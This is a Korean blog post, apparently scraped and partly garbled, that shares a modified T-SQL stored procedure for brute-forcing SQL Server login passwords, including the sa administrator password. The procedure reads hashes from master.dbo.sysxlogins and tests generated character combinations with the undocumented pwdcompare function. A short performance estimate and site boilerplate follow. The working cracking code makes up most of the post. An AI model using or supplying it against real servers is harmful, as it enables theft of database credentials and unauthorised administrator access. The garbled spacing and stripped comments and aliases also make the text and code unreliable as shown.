mssql 저장 프로 세 스 를 사용 하여 sa 암 호 를 해독 합 니 다.
인터넷 에 SQL Server Sa 암호 해독 의 저장 과정 이 있 습 니 다.방법 은 MSSQL 의 계 정과 비밀 번 호 를 폭력 적 으로 해독 하 는 것 입 니 다.관리자 계 정 sa 의 비밀 번 호 를 포함 하여 다른 코드 를 약간 수정 하고 성능 분석 을 했 습 니 다.
먼저 프로그램의 핵심 사상 을 풀 어 본 것 은 계 정 비밀 번 호 를 저장 하 는 master.dbo.sysxlogins 표 와 공개 되 지 않 은 비밀 번 호 를 비교 저장 하 는 과정 pwdcompare 입 니 다.한 측의 분석 을 통 해 일부 코드 를 수 정 했 고 아래 에 수정 전후의 코드 를 붙 였 다.
SQL Server Sa 암호 해독 의 저장 과정
다음은 제 가 수정 한 코드 입 니 다.
나 는 다음 과 같이 테스트 한다
alter proc p_GetPassword
@username sysname=null, -- , ,
@pwdlen int=2 -- , 2
as
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
select top 255 id=identity(int,0,1) into #t from syscolumns
alter table #t add constraint PK_#t primary key(id)
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null then 1 else 0 end
,pwdstr=cast('' as sysname)
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
declare @l int
select @l=0
,@s1='char(aa.id)'
,@s2='cast(aa.id as varchar)'
,@s3=',#t aa'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
begin
select @l=@l+1
,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
end
select =name, =pwdstr, ASCII=pwd
from #pwd
GO
성능 분석:이 예 는 하나의 조회 로 bigint 의 최대 값 기록 92233736854775807 을 조회 할 수 있 는 것 을 호스트 의 최대 성능 으로 하여 분해 성능 을 대충 계산 합 니 다.
한 계 정의 암호 길이,해독 시간 과 성능 소 모 는 해독 에 사용 되 는 모든 문자 길 이 를 바탕 으로 암호 길 이 를 지수 로 하 는 지수 함수 입 니 다.즉,해독 계 정 개수*(해독 에 사용 되 는 모든 문자 개수)의 최 장 암호 길이 차방<호스트 최대 성능:
원래 저장 과정 에서 256 개의 해독 문 자 를 사용 하면 이론 적 으로 7 개의 암호,즉 2567
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
mssql 저장 프로 세 스 를 사용 하여 sa 암 호 를 해독 합 니 다.코드 는 관리자 계 정 sa 의 비밀 번 호 를 포함 하여 MSSQL 의 계 정과 비밀 번 호 를 폭력 적 으로 해독 하 는 것 을 보 여 줍 니 다. 인터넷 에 SQL Server Sa 암호 해독 의 저장 과정 이...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.